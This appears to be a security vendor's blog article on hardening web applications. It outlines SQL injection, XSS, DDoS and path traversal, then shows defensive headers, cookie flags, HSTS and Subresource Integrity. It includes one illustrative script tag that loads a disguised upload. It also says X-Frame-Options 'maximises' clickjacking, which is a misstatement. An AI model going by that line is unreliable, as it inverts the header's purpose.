How to Improve Web Application Security?

Web applications – what are they and what is their specificity?

A web application (also known as a web app) is application software that, unlike computer programs that run locally on the operating system (OS) of a device, runs on a web server. With an active network connection, the user can access the application through a web browser, and installation is not required.

The fact that we are dealing with a web application may be indicated by the login panel. Their unquestionable advantage is their flexibility, responsiveness and universality in relation to the operating system (Windows, macOS, etc.). Thanks to them, modern websites are shaped and communication between companies and their recipients is greatly facilitated. They can be found in the form of webmail, online banking, logistics and ordering systems, online stores, classifieds and social networking sites, price comparison sites or online forums.

This is where the most important issue in the context of the presented article emerges – the fact that web applications allow for the acquisition, processing, storage and transfer of sensitive user data, e.g. credit card numbers, personal data, health insurance information, social security information, etc.

 

Why are web applications targeted by attacks?

Due to their ubiquity and public availability, web applications allow attackers to reach large audiences. By hacking, they can gain access to company resources as well as data of thousands or even millions of users. If a vulnerability in the application’s security is exploited, access to data will be possible regardless of the security measures put in place.

In addition, these applications are usually easier to access than other hacker targets and do not require special tools, connections or state-sponsored resources. All you need is any computer with a browser and an internet connection. Exploiting the vulnerability found will then be child’s play. What’s more, once compromised sites can be the start of other attacks, escalating privileges or gaining access to file servers, databases and other critical resources.

Another issue is the people writing the code for web applications and their experience. Unfortunately, you can meet many programmers who do not have sufficient knowledge and skills in secure coding. In addition, you can now see the trend of basing web applications on third-party source code. Therefore, the reason why they can be the target of attacks is also the lack of updates of third-party resources (and often their owners do not even have a clue that such resources are being used). Yet another problem is deliberately ignoring the installation of patches issued for bugs and vulnerabilities.

 

Types of attacks on web applications

Despite the ever-evolving tactics of cybercriminals, there is a pattern to the most common types of attacks on web applications:

• SQL Injection (SQLI) – this occurs when an attacker inserts malicious code into a form and the victim-side systems insufficiently filter/clean this information, which in turn can be used to make database queries.

 

• Cross-site scripting (XSS) – a cybercriminal posts a piece of malicious code on a website, displayed to users. This is designed to induce them to perform the attackers desired actions – stealing data, and more).

 

• DDoS (Distributed Denial of Service) attacks – we deal with them when an attacker floods a server with requests, paralyzing it and preventing users from accessing services. Bots or networks of compromised computers are often used for this purpose.

 

• Path traversal – as a result of this attack, an application allows uncontrolled access to directories and files stored in the file system (e.g. critical system files, source code or configuration files). It is also known as „directory traversal” or „dot-dot-slash”.

 

It is worth keeping in mind that these attacks often serve to breach the first line of defense, making the victim more vulnerable to other, more sophisticated criminal activities.

 

Web applications – how to improve their security?

1. Building secure web applications

Increasing the security level of an application is best started from the very beginning, i.e. from the moment it is created (during design, implementation, deployment), but also during its life. Recognized by developers around the world is the OWASP Top 10 standard (Open Web Application Security Project), which provides guidelines for creating secure software. Using this document is the first step (and probably the most effective) toward more secure coding and minimizing the risk of attacks.

There are solutions that address this issue in a practical way, such as dedicated simulation-based training on a cyber range. By participating in the training, the trainee learns about popular methods of attacking web applications, how to detect them and how to configure the security of the server and the applications themselves. In addition, the trainee can gain the ability to identify and assess IT infrastructure for methods of protection against cyber attacks and manage the security of a real web application in everyday work conditions.

Read more about our cyber security training

---

2. X-Frame-Options header

The X-Frame-Options header has been designed to maximise the possibility of Clickjacking attacks. This header restricts or blocks completely external domains that may place our web application in <object>, <frame> and <iframe> tags.

The header can use various parameters:

• X-Frame-Options: Allow-From http://example.com — the website can only be placed in a frame on the indicated domain
• X-Frame-Options: SameOrigin — a page can only be placed in a frame within the same domain
• X-Frame-Options: Deny — the page cannot be placed in a frame

 

3. Cookies

We can raise the security of cookies by adding two additional flags, HttpOnly and Secure.

The HttpOnly flag protects our cookies from the effects of XSS attacks. The file with the HttpOnly flag is available only for http requests, it is not possible to read it e.g. with javascript.
Most often when executing an XSS attack, the attacker attempts to download the document.cookie value for a session cookie. If the HttpOnly flag is enabled, the document.cookie will not return any value.

Secure flag protects cookies from being sent using http protocol. When this flag is activated, cookies are only sent using the secure https protocol.

Sample session cookie with HttpOnly and Secure flags set.

Set-Cookie: token=1znpr7zx3m29w4n5zf2d1; HttpOnly; Secure

 

4. HTTP Strict-Transport-Security

HSTS is a mechanism that significantly increases the security of connection with the web application. This mechanism forces the browser to connect to the server only via a secure HTTPS connection. An attempt to establish a connection with an unsecured HTTP protocol will fail. Thanks to this solution we defend our application against man-in-the-middle attacks.

Definition of a header:

Strict-Transport-Security: max-age=31536000

The max-age parameter specifies how many seconds from the last user access the HSTS header will be valid. 31536000 seconds = 1 year.

When a web application forces the HSTS header, the user’s browser will behave as follows:

• all attempts to establish a connection using the http protocol will be changed to the https protocol e.g. http://example.com -> https://example.com
• If the connection security is not ensured because the SSL certificate has expired or is incorrect, the user will receive an error message which they cannot skip

5. X-Content-Type-Options header

The X-Content-Type-Options header disables MIME-guessing of a document while protecting the web application from file attachment attacks in a different context than indicated by their Content-Type.

Example: The web application allows users to upload images. At the same time, as a result of another vulnerability (e.g. XSS), the user may manipulate the content of the web application. An attacker may upload, e.g. a jpeg file, which will in fact be a js file.

A web application with the X-Content-Type-Options header turned off will attach this file and execute malicious code.

<script src=”http://example.com/uploads/image.jpeg”></script>

 

If we use the X-Content-Type-Options header, this execution will fail because the Content-type response will be equal to e.g. image/png. The browser will skip loading the file.

X-Content-Type-Options: nosniff

 

6. Subresource Integrity (SRI)

SRI is a security feature that allows browsers to verify that the resources they intercept (e.g. Js, css files) reach them without unintended changes. This is possible thanks to the use of cryptographic hash, with which the intercepted resource must be compatible.

A potential hacker who wants to access our well-protected web application may attack the component provider’s server which we use, for example, the jquery library.

<script src=”https://code.jquery.com/jquery.js”> </script>

 

In the event of a successful attack on a jquery server and a replacement of jquery.js file with another dangerous file, an attacker may execute any code in the context of our web application.

Implementing hash protection, the browser will detect a discrepancy between the cryptographic hash file and the cryptographic hash declared in the code and omit loading the file.

An example of a properly attached file from an external server.

<script src=”https://code.jquery.com/jquery-3.5.1.js” integrity=”sha256-QWo7LDvxbWT2tbbQ97B53yJnYU3WhH/C8ycbRAkjPDc=”></script>

 

“Subresource Integrity” reduces the risk of such attacks by ensuring that files that an application or a web document intercepts from an external server are delivered without the involvement of a third party who has “enriched” our data with additional content.